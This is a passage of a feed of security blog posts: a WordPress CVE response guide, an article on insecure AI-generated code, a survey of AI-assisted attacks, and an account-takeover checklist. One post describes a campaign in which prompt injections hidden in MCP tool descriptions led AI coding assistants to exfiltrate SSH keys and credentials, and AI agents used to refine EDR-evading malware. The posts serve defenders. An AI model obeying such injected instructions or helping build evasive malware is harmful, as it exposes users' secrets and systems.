find /path/to/wordpress &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; wp-content/uploads
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Database audit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp db query &lt;span class="s2"&gt;"SELECT user_login, user_email, user_registered &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
FROM wp_users WHERE user_registered &amp;gt; '2026-07-01'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Log analysis
&lt;/h3&gt;

&lt;p&gt;Search your access logs for POST requests to &lt;code&gt;/wp-json/batch/v1&lt;/code&gt; from unknown IPs, particularly around and after July 17, 2026, and watch specifically for anomalous &lt;code&gt;author__not_in&lt;/code&gt; parameter values — that's the earliest indicator of exploitation attempts against this chain.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. WAF rule status
&lt;/h3&gt;

&lt;p&gt;If you're behind Cloudflare, verify the emergency managed rule for this CVE chain is active in your dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Your Deployment Pipeline
&lt;/h2&gt;

&lt;p&gt;If you're managing WordPress at scale — multiple installs, staging environments, client sites — this should trigger:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventory audit:&lt;/strong&gt; Which of your installs are running 6.8–7.0.1? You need a definitive list.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated patching:&lt;/strong&gt; If you don't have automated WordPress updates, this is the push to set them up. The &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; constant or &lt;code&gt;wp auto-update enable&lt;/code&gt; CLI command handles this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Staging-first policy:&lt;/strong&gt; Update staging, test, then roll to production. But given that PoC code is already public, don't let the staging test delay the patch by more than a few hours on anything internet-facing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring:&lt;/strong&gt; After patching, monitor logs for 48–72 hours for indicators of pre-patch compromise, especially around the disclosure window (July 17–19).&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The Broader Pattern
&lt;/h2&gt;

&lt;p&gt;This isn't an isolated incident. WordPress core vulnerabilities are rare, but when they hit, they hit hard because of the sheer install base. The pattern we're seeing in 2026:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Core vulnerabilities&lt;/strong&gt; (not just plugins) are being discovered and weaponized faster&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chained CVEs&lt;/strong&gt; are the norm — individual low/medium issues escalate when combined&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated attack paths&lt;/strong&gt; are increasingly common in WordPress's REST API surface&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Batch processing endpoints&lt;/strong&gt; are a new attack surface that most operators don't think about&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you manage WordPress infrastructure, add REST API endpoint auditing to your regular security reviews. The batch API (&lt;code&gt;/wp-json/batch/v1&lt;/code&gt;) should be restricted by default.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-60137&lt;/td&gt;
&lt;td&gt;SQL injection via &lt;code&gt;WP_Query&lt;/code&gt; / &lt;code&gt;author__not_in&lt;/code&gt; (CVSS 9.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-63030&lt;/td&gt;
&lt;td&gt;REST API batch route confusion → RCE (CVSS 7.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chain name&lt;/td&gt;
&lt;td&gt;WP2Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;WordPress 6.8.0–7.0.1 (full unauthenticated RCE chain: 6.9.0–7.0.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched in&lt;/td&gt;
&lt;td&gt;6.8.6, 6.9.5, 7.0.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack complexity&lt;/td&gt;
&lt;td&gt;Unauthenticated when chained, no plugins needed; RCE path requires no persistent object cache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF emergency rule&lt;/td&gt;
&lt;td&gt;Cloudflare released July 17, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Status as of July 19, 2026&lt;/td&gt;
&lt;td&gt;Public PoC exists; early exploitation attempts reported&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WP2Shell disclosure&lt;/td&gt;
&lt;td&gt;Adam Kues, Assetnote / Searchlight Cyber&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>webdev</category>
      <category>devops</category>
    </item>
    <item>
      <title>AI Wrote Your Code. Did It Ship a Vulnerability Too?</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Tue, 14 Jul 2026 14:04:00 +0000</pubDate>
      <link>https://dev.to/stanleya/ai-wrote-your-code-did-it-ship-a-vulnerability-too-574i</link>
      <guid>https://dev.to/stanleya/ai-wrote-your-code-did-it-ship-a-vulnerability-too-574i</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nearly half of AI-generated code fails basic security tests — and that number hasn't budged as models got bigger.&lt;/li&gt;
&lt;li&gt;Java is the riskiest language, XSS is the vulnerability models handle worst, and it's not close.&lt;/li&gt;
&lt;li&gt;Three cheap layers (prompt, pre-commit, CI/CD) catch most of it. None take more than an afternoon to set up.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;AI coding tools like Claude Code, Cursor, and Codex have changed how software gets written. But they've also introduced a class of risk most teams haven't caught up with yet.&lt;/p&gt;

&lt;p&gt;You ask an AI coding agent to write a login handler. It produces working code in seconds — password hashing, database queries, error handling, all there. It looks clean. It passes your tests. You ship it.&lt;/p&gt;

&lt;p&gt;There's a reasonable chance it also contains a flaw a static analysis tool would catch in five minutes.&lt;/p&gt;

&lt;p&gt;This post covers what the data actually says, what goes wrong most often, and what you can do about it — whether you're a solo dev or a small team shipping fast.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the Data Shows
&lt;/h2&gt;

&lt;p&gt;The numbers aren't subtle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.veracode.com/resources/analyst-reports/2025-genai-code-security-report/" rel="noopener noreferrer"&gt;Veracode's 2025 GenAI Code Security Report&lt;/a&gt;&lt;/strong&gt; tested code generated by over 100 LLMs across Java, Python, C#, and JavaScript:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;45% of AI-generated code samples&lt;/strong&gt; failed security tests and introduced OWASP Top 10 vulnerabilities&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Java was the riskiest language tested&lt;/strong&gt;, with a 72% security failure rate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-Site Scripting (CWE-80) was the single worst category&lt;/strong&gt;, with models failing to defend against it in 86% of relevant tasks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bigger and newer models did not improve security.&lt;/strong&gt; Scaling up model size didn't translate to safer output — pass rates for newer models like GPT-5 and Claude Sonnet 4.5 still cluster around the same 50–55% mark as their predecessors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report" rel="noopener noreferrer"&gt;CodeRabbit's December 2025 report&lt;/a&gt;&lt;/strong&gt; compared 470 real-world GitHub pull requests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AI-co-authored PRs contained roughly &lt;strong&gt;1.7× more issues overall&lt;/strong&gt; than human-only PRs&lt;/li&gt;
&lt;li&gt;For XSS specifically, AI-generated code was &lt;strong&gt;2.74× more likely&lt;/strong&gt; to introduce the vulnerability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://apiiro.com/blog/4x-velocity-10x-vulnerabilities-ai-coding-assistants-are-shipping-more-risks/" rel="noopener noreferrer"&gt;Apiiro's research across Fortune 50 enterprises&lt;/a&gt;&lt;/strong&gt; found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;322% more privilege escalation paths&lt;/strong&gt; in AI-assisted codebases&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;153% more design flaws&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;40% increase in secrets exposure&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An earlier &lt;strong&gt;&lt;a href="https://arxiv.org/abs/2310.02059" rel="noopener noreferrer"&gt;academic study analyzing GitHub Copilot output&lt;/a&gt;&lt;/strong&gt; found that &lt;strong&gt;29.6% of Copilot-generated snippets&lt;/strong&gt; contained security weaknesses across 38 CWE categories.&lt;/p&gt;

&lt;p&gt;The pattern holds across every source: AI tools write functional code fast, but that code disproportionately fails basic security checks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Bigger Models Aren't Safer
&lt;/h2&gt;

&lt;p&gt;More parameters and more training data don't make a model security-aware. LLMs learn patterns from the code they were trained on — and a meaningful chunk of public code is itself vulnerable. There's no internal "security reviewer" running in the background; the model is generating the statistically likely completion, not the correct one.&lt;/p&gt;

&lt;p&gt;Ask it to write a database query, and it'll reach for whatever pattern shows up most in its training data. If that pattern is string concatenation instead of a parameterized query, you get confident, working, exploitable SQL injection — and nothing in the output will look wrong at a glance.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Five Vulnerabilities AI Introduces Most Often
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Hardcoded Secrets and API Keys
&lt;/h3&gt;

&lt;p&gt;Placeholder credentials that look real — sample keys, connection strings with embedded passwords. Code works, tests pass, secret sits in plaintext for anyone with repo access.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. SQL Injection via String Concatenation
&lt;/h3&gt;

&lt;p&gt;AI defaults to f-strings or &lt;code&gt;+&lt;/code&gt; concatenation for queries instead of parameterized statements. The fastest way to write a query is also the fastest way to create SQL injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Weak Cryptography
&lt;/h3&gt;

&lt;p&gt;MD5 for password hashing, ECB mode for encryption, static IVs. Syntactically correct, compiles clean, sits quietly broken in production.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Missing Authorization Checks
&lt;/h3&gt;

&lt;p&gt;Endpoints handle the request correctly but skip verifying the caller actually has permission to make it. Creates privilege escalation paths that normal functional testing won't surface.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Command Injection
&lt;/h3&gt;

&lt;p&gt;User input passed straight into &lt;code&gt;os.system()&lt;/code&gt; or &lt;code&gt;subprocess.call()&lt;/code&gt; without escaping.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Layers of Protection
&lt;/h2&gt;

&lt;p&gt;You don't need to stop using AI tools. You need checkpoints between "the model wrote this" and "this is in production."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — At the Prompt&lt;/strong&gt;&lt;br&gt;
Be explicit about security requirements instead of assuming the model will infer them:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Write a parameterized SQL query to select users by email. Use prepared statements, not string formatting."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This alone measurably improves output — models default to secure patterns when told to, they just don't volunteer them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 — Before Commit&lt;/strong&gt;&lt;br&gt;
Add fast, local checks that run before code ever leaves your machine:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/gitleaks/gitleaks" rel="noopener noreferrer"&gt;Gitleaks&lt;/a&gt;&lt;/strong&gt; — catches hardcoded secrets and keys&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://semgrep.dev/" rel="noopener noreferrer"&gt;Semgrep&lt;/a&gt;&lt;/strong&gt; — SAST rules for injection, weak crypto, and more&lt;/li&gt;
&lt;li&gt;A pre-commit hook wiring both in
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# example .pre-commit-config.yaml entries&lt;/span&gt;
- repo: https://github.com/gitleaks/gitleaks
  rev: v8.18.4
  hooks:
    - &lt;span class="nb"&gt;id&lt;/span&gt;: gitleaks
- repo: https://github.com/returntocorp/semgrep
  rev: v1.78.0
  hooks:
    - &lt;span class="nb"&gt;id&lt;/span&gt;: semgrep
      args: &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"--config=auto"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most teams have this running in under 30 minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — In CI/CD&lt;/strong&gt;&lt;br&gt;
Catch what slips past local checks on every pull request:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub CodeQL&lt;/strong&gt; for deeper static analysis&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependabot / Snyk&lt;/strong&gt; for vulnerable dependencies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this is exotic tooling — it's the same stack most security-conscious teams already run. The difference is treating AI output as untrusted input by default, not as an exception case.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;AI coding tools aren't going away, and they shouldn't. But the security cost is real, and it doesn't shrink as the models get bigger. The teams that benefit most treat AI output the way they'd treat a pull request from a junior developer: useful, fast, and unmerged until it's been reviewed.&lt;/p&gt;

&lt;p&gt;If you're already running Semgrep or CodeQL, the marginal cost of pointing it at AI-generated code is close to zero. The cost of not doing it shows up later, in production, when it's a lot more expensive to fix.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>python</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>How AI Rewrote the Attacker's Playbook in 2026</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Tue, 07 Jul 2026 14:05:00 +0000</pubDate>
      <link>https://dev.to/stanleya/how-ai-rewrote-the-attackers-playbook-in-2026-148a</link>
      <guid>https://dev.to/stanleya/how-ai-rewrote-the-attackers-playbook-in-2026-148a</guid>
      <description>&lt;p&gt;For years, the cybersecurity conversation about AI was speculative. Researchers warned it &lt;em&gt;could&lt;/em&gt; lower the barrier for attackers. Pen test firms demoed LLM-generated phishing emails. Thought pieces predicted AI-powered attacks were coming.&lt;/p&gt;

&lt;p&gt;In 2026, they're here. And they're rewriting how every stage of an attack works — from discovery to exploitation to evasion.&lt;/p&gt;




&lt;h2&gt;
  
  
  The EDR Evasion Toolkit
&lt;/h2&gt;

&lt;p&gt;In June 2026, Sophos published an analysis of a ransomware toolkit built using AI-assisted development workflows. The attacker used Cursor and Claude Opus 4.5 agents to iterate on malware modules against EDR products, coordinating roles across several agents: one set direction, others handled EDR testing, OPSEC hardening, documentation, and VM deployment.&lt;/p&gt;

&lt;p&gt;The attack loop:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Write an EDR evasion module.&lt;/li&gt;
&lt;li&gt;Test it in an isolated lab against Sophos, CrowdStrike, and Windows Defender.&lt;/li&gt;
&lt;li&gt;If it fails, describe the failure to the AI.&lt;/li&gt;
&lt;li&gt;The AI rewrites the module based on what it learned.&lt;/li&gt;
&lt;li&gt;Repeat.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The attacker claimed the modules eventually bypassed nearly every EDR solution tested — though Sophos noted its own telemetry didn't fully bear that claim out, and the discrepancy is unexplained (possibly the AI over-reporting its own success). The agents also mined published bypass techniques from security research blogs, mapped them to MITRE ATT&amp;amp;CK, and built out test environments to validate results.&lt;/p&gt;

&lt;p&gt;It's worth being precise about what this was and wasn't: Sophos was explicit that this was &lt;strong&gt;not&lt;/strong&gt; an autonomously reasoning system running unsupervised. It described the workflow as "a structured engineering test cycle that included human review and iteration" at every step. The genuine shift here isn't a fully autonomous attacker — it's the speed and cheapness of the build-test-refine loop, which lets a single operator iterate dozens of variants faster than a traditional malware dev shop ever could.&lt;/p&gt;

&lt;h2&gt;
  
  
  The First AI-Discovered Zero-Day
&lt;/h2&gt;

&lt;p&gt;Google's Threat Intelligence Group confirmed the first zero-day exploit believed to be developed with AI. The target was a popular open-source web administration tool. The vulnerability: a 2FA bypass caused by a hardcoded trust assumption — a semantic logic flaw, not memory corruption or input validation.&lt;/p&gt;

&lt;p&gt;GTIG identified the AI origin through: abundant educational docstrings, a hallucinated CVSS score, and textbook Pythonic structure characteristic of LLM-generated code. The key technical insight: frontier LLMs excel at finding semantic logic flaws that static analysis and fuzzers miss, because they can reason about developer intent rather than pattern-matching for known vulnerability classes. Google worked with the vendor to patch the flaw before the planned mass-exploitation campaign launched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Autonomous Malware: PROMPTSPY
&lt;/h2&gt;

&lt;p&gt;ESET first identified &lt;strong&gt;PROMPTSPY&lt;/strong&gt;, an Android backdoor that queries an LLM (Google's Gemini API) to interpret the on-screen UI and get step-by-step instructions for pinning itself in the recent-apps list — a persistence trick that normally has to be hand-scripted per device manufacturer. GTIG's follow-up analysis found the backdoor's use of AI went further: an agent module that reads live device state and generates precise tap/gesture commands in real time, letting it adapt across devices without hardcoded logic. Unlike traditional malware that follows predetermined logic, PROMPTSPY reads the environment, reasons about what it finds, and decides what to do next.&lt;/p&gt;

&lt;h2&gt;
  
  
  Supply Chain Attacks on AI Infrastructure
&lt;/h2&gt;

&lt;p&gt;npm supply-chain campaigns turned their sights on AI developer tooling in early 2026. The "SANDWORM_MODE" campaign, spread through typosquatted npm packages, planted rogue MCP servers into AI coding assistants like Claude Code, Cursor, and Windsurf — the injected servers registered innocent-looking tools whose descriptions contained hidden prompt-injection instructions telling the AI to silently read and exfiltrate SSH keys, AWS credentials, and other secrets.&lt;/p&gt;

&lt;p&gt;Around the same time, the threat group TeamPCP compromised the CI/CD pipeline of Trivy (a widely used security scanner), then used stolen credentials to cascade into PyPI: two backdoored releases of LiteLLM (the open-source LLM gateway) shipped a multi-stage credential stealer, and a similar payload later hit the Telnyx package. This is the same supply-chain attack pattern that has plagued traditional software for years — just reaching into a newer, less mature ecosystem, and in this case exploiting the very security tools meant to prevent it.&lt;/p&gt;

&lt;p&gt;The Langflow AI framework (CVE-2026-33017) also fell to an unauthenticated RCE that let attackers inject arbitrary Python into a public flow-build endpoint, exfiltrating database connections, cloud credentials, and environment configs. Exploitation began within about 20 hours of disclosure, and it was added to the CISA KEV catalog.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Scale
&lt;/h2&gt;

&lt;p&gt;Hadrian Security cataloged 70+ open-source AI pentest tools as of March 2026, most launched in the prior 18 months. The critical difference: these tools operate in parallel across an entire attack surface — they don't context-switch, lose findings, or deprioritize targets. The marginal cost of executing a known attack chain against a known target is trending toward zero.&lt;/p&gt;

&lt;p&gt;State-sponsored actors are industrializing this. APT45 (North Korea) was observed sending thousands of automated prompts to iteratively analyze CVEs and validate PoCs. China-nexus actors experimented with datasets of 85,000+ real-world vulnerability cases to prime models for expert-level code analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Defenders Should Do
&lt;/h2&gt;

&lt;p&gt;The fundamentals haven't changed — they just need consistent application:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Patch promptly.&lt;/strong&gt; Most exploited vulns had patches available. The Ghost CMS SQL injection (CVE-2026-26980) hit 700+ sites; patches existed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MFA everywhere.&lt;/strong&gt; Doesn't prevent server exploitation, but makes stolen credentials — the most common initial access vector — significantly less useful.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network segmentation.&lt;/strong&gt; Limits lateral movement when one system is compromised.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit dependencies — including your security tools.&lt;/strong&gt; The Trivy → LiteLLM chain shows that scanners and CI actions are now targets too, not just app dependencies. Pin versions, don't trust mutable tags, and use Dependabot or Snyk; keep WordPress plugins and themes updated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat AI coding assistants as part of your attack surface.&lt;/strong&gt; Audit MCP server configs and tool descriptions the same way you'd audit a new dependency — SANDWORM_MODE proved that's now a live exfiltration path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor for anomalies.&lt;/strong&gt; Unusual outbound connections, logins from unexpected locations — you don't need a SOC to catch the basics.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Bottom Line
&lt;/h2&gt;

&lt;p&gt;AI hasn't created a new category of cyberattack. It's compressed the timeline between vulnerability and exploitation, lowered the skill floor, and made attack chains adaptive. But it's also worth resisting the more dramatic framing: even in the most AI-heavy case documented this year, the attacker was still driving, reviewing, and correcting the loop by hand — AI made the loop faster, not autonomous. The defensive fundamentals still work — patch, segment, authenticate, monitor. The hardest targets aren't the most expensive defenses, but the most consistently applied ones.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: Google Threat Intelligence Group, Sophos, ESET, Socket, Sysdig, Snyk, Arete, Hadrian Security, SANS, CISA, NetEye, Cofense, Sonatype.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Someone Else Might Already Be Logged Into Your Shop</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Tue, 30 Jun 2026 14:12:00 +0000</pubDate>
      <link>https://dev.to/stanleya/someone-else-might-already-be-logged-into-your-shop-1m7b</link>
      <guid>https://dev.to/stanleya/someone-else-might-already-be-logged-into-your-shop-1m7b</guid>
      <description>&lt;p&gt;If you build or maintain ecommerce platforms, there's a specific threat model you should be thinking about more than you probably are: &lt;strong&gt;account takeover (ATO)&lt;/strong&gt; — not as a theoretical risk, but as a high-volume, automated attack class that's hitting stores right now.&lt;/p&gt;

&lt;p&gt;The core insight is deceptively simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The attacker does not break in. They log in.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No code exploits. No zero-days. Just real credentials, real sessions, and stores that aren't configured to notice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR — five checks, under an hour, no security budget required:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Rate limit (or CAPTCHA) the &lt;code&gt;/login&lt;/code&gt; endpoint after 3–5 failed attempts&lt;/li&gt;
&lt;li&gt;[ ] Offer MFA, and push toward passkeys (FIDO2/WebAuthn) as the default&lt;/li&gt;
&lt;li&gt;[ ] Invalidate sessions server-side on logout — test with the browser Back button&lt;/li&gt;
&lt;li&gt;[ ] Log new-device / new-geo logins and notify the user&lt;/li&gt;
&lt;li&gt;[ ] Turn on whatever login-security features your platform (Shopify/WooCommerce/Magento) already ships with but doesn't enable by default&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Scale
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Figure&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Consumers who experienced ATO in 2025&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;21%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sift Q1 2026 Digital Trust Index&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UK ATO fraud cases (2025)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;78,000+&lt;/strong&gt; (18% of all fraud, up 6% YoY)&lt;/td&gt;
&lt;td&gt;Cifas Fraudscape 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FBI ATO complaints (2025)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;~4,700&lt;/strong&gt; — first time listed as its own category&lt;/td&gt;
&lt;td&gt;FBI 2025 IC3 Report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported losses from those complaints&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$359.7M&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FBI 2025 IC3 Report&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For context: &lt;strong&gt;~26 billion credential-stuffing attempts per month&lt;/strong&gt; (Akamai). Compromised credential volumes are up &lt;strong&gt;&amp;gt;150% year-over-year&lt;/strong&gt;. This isn't a niche problem — it's the default attack surface for any store with user accounts.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Three Vectors You Should Be Architecting Against
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Credential stuffing
&lt;/h3&gt;

&lt;p&gt;Automated login attempts using leaked username/password pairs from unrelated breaches. Because password reuse is endemic, a breach at a forum becomes a key to your checkout.&lt;/p&gt;

&lt;p&gt;What makes this dangerous at scale: attackers are replaying &lt;strong&gt;real, previously-valid credentials&lt;/strong&gt;. No brute force, no pattern — just bulk credential replay with high success rates against any login endpoint without rate limiting.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Session hijacking
&lt;/h3&gt;

&lt;p&gt;If your session tokens lack &lt;code&gt;Secure&lt;/code&gt;, &lt;code&gt;HttpOnly&lt;/code&gt;, and &lt;code&gt;SameSite&lt;/code&gt; attributes — or if you're not enforcing HTTPS at every layer — session cookies are extractable on shared networks. A café attacker with &lt;code&gt;mitmproxy&lt;/code&gt; or a rogue AP can capture sessions without knowing the password.&lt;/p&gt;

&lt;p&gt;A correctly-flagged session cookie looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even with HTTPS, &lt;code&gt;SameSite=None&lt;/code&gt; on session cookies is still common in cross-origin setups (e.g. embedded checkout widgets, third-party payment iframes). Worth auditing — &lt;code&gt;SameSite=None&lt;/code&gt; requires &lt;code&gt;Secure&lt;/code&gt; and reopens some of the cross-site exposure the other flags are meant to close.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. AI-assisted phishing
&lt;/h3&gt;

&lt;p&gt;The phishing bar just got much lower. LLMs generate convincing, brand-accurate login page clones at scale. The old advice — "look for typos" — doesn't apply when the attacker can clone your exact HTML, match your brand voice in emails, and serve a pixel-perfect fake checkout from a lookalike domain.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five Things to Check (Or Tell Your Team to Check)
&lt;/h2&gt;

&lt;p&gt;These aren't aspirational — they're configuration-level fixes that should take under an hour.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Rate limiting on login
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quick test:&lt;/strong&gt; enter a wrong password 10 times. If nothing happens — no CAPTCHA, no progressive delay, no lockout — you have no rate limiting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to implement:&lt;/strong&gt; progressive throttling or CAPTCHA after &lt;strong&gt;3–5 failed attempts&lt;/strong&gt; per account or per IP. Most platforms have plugins or middleware for this. If you're building custom, a token bucket or sliding window limiter on the &lt;code&gt;/login&lt;/code&gt; endpoint is non-negotiable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Minimal sketch — swap in Redis for real deployments
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;  &lt;span class="c1"&gt;# key -&amp;gt; [timestamps]
